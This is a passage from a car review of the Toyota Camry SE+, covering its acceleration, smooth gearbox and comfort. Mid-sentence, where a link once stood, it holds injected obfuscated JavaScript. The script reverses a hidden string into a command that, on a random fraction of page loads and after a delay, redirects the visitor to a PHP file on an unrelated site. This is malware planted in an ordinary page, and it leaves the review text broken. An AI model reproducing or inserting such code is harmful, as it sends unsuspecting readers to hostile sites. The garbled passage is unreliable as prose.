Then there’s the acceleration. All 181 ‘rampaging’ horses give it their best shot as the right foots puts the pedal to the cushioning footwell carpet under which there is metal: yes, the speedometer needle rises steadily, but there’s very little sensation of speed to cause excitement. In much the same way, gear changes through the six-speed transmission felt so smooth that changing manually felt almost wrong! Natural inclination when behind the wheel of the Camry SE+ was to sink deeper into the hotseat rather than hang on with white-knuckles.
So, did the Toyota offer thrills? No. But then, were we expecting it to? No. Comfort and practicality were the main things we were hoping for when we $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-new-recruit-toyota-camry/” target=”_blank”>first welcomed the Camry onto the crankandpiston fleet. And will we miss the big saloon in that respect? Actually, yes.
